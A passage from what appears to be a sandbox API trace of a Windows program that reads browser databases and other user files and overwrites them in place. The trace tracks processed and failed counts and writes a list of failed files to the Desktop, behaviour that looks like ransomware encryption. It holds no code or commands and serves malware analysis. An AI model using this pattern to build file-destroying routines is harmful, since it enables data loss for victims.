lpOverlapped=0x0) returned 1 [0128.141] Sleep (dwMilliseconds=0x5dc) [0129.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0129.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\n", cchWideChar=1082, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1082 [0129.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\n", cchWideChar=1082, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1082 [0129.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\n", cchWideChar=1082, lpMultiByteStr=0x2624cc8, cbMultiByte=1082, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\nh", lpUsedDefaultChar=0x0) returned 1082 [0129.795] WriteFile (in: hFile=0x1b0, lpBuffer=0x2624cc8*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesWritten=0x290fe34*=0x43a, lpOverlapped=0x0) returned 1 [0129.796] CloseHandle (hObject=0x1b0) returned 1 [0129.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0129.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0129.797] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0129.799] Sleep (dwMilliseconds=0x5dc) [0131.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0131.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0131.306] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0131.306] Sleep (dwMilliseconds=0x5dc) [0133.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0133.115] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c82c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0133.115] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0133.116] Sleep (dwMilliseconds=0x5dc) [0134.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0134.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=15 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0134.644] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0134.645] Sleep (dwMilliseconds=0x5dc) [0136.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0136.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\nATO_OPER: C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\r\n", cchWideChar=1145, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1145 [0136.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\nATO_OPER: C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\r\n", cchWideChar=1145, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1145 [0136.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\nATO_OPER: C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\r\n", cchWideChar=1145, lpMultiByteStr=0x2741c78, cbMultiByte=1145, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\r\nATO_OPER: C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui\r\n", lpUsedDefaultChar=0x0) returned 1145 [0136.159] WriteFile (in: hFile=0x1cc, lpBuffer=0x2741c78*, nNumberOfBytesToWrite=0x479, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesWritten=0x290fe34*=0x479, lpOverlapped=0x0) returned 1 [0136.161] CloseHandle (hObject=0x1cc) returned 1 [0136.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=16 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.161] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=16 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=16 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0136.161] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0136.162] Sleep (dwMilliseconds=0x5dc) [0137.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=16 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0137.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=16 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=16 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0137.671] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0137.673] Sleep (dwMilliseconds=0x5dc) Thread: id = 76 os_tid = 0x8cc [0031.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.730] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.730] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4000 [0031.730] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.730] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.730] ReleaseMutex (hMutex=0x128) returned 1 [0031.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="previews_opt_out.db", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0031.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="previews_opt_out.db", cchWideChar=19, lpMultiByteStr=0x1e78bcc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="previews_opt_out.db", lpUsedDefaultChar=0x0) returned 19 [0031.730] ReadFile (in: hFile=0x12c, lpBuffer=0x2510e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.773] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3000 [0031.773] ReadFile (in: hFile=0x12c, lpBuffer=0x2510e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.774] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3000 [0031.774] WriteFile (in: hFile=0x12c, lpBuffer=0x2510e48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2510e48*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.774] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0031.774] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9f08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9f08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.775] CloseHandle (hObject=0x12c) returned 1 [0031.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0031.776] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.776] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x70000 [0031.776] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0031.776] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.776] ReleaseMutex (hMutex=0x128) returned 1 [0031.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="extensions.sqlite", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="extensions.sqlite", cchWideChar=17, lpMultiByteStr=0x1e78bcc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="extensions.sqlite", lpUsedDefaultChar=0x0) returned 17 [0031.776] ReadFile (in: hFile=0x12c, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0031.778] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6f000 [0031.778] ReadFile (in: hFile=0x12c, lpBuffer=0x1d88048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d88048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.780] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6f000 [0031.781] WriteFile (in: hFile=0x12c, lpBuffer=0x25c9f08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c9f08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.781] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0031.781] WriteFile (in: hFile=0x12c, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0031.781] CloseHandle (hObject=0x12c) returned 1 [0031.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfigInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 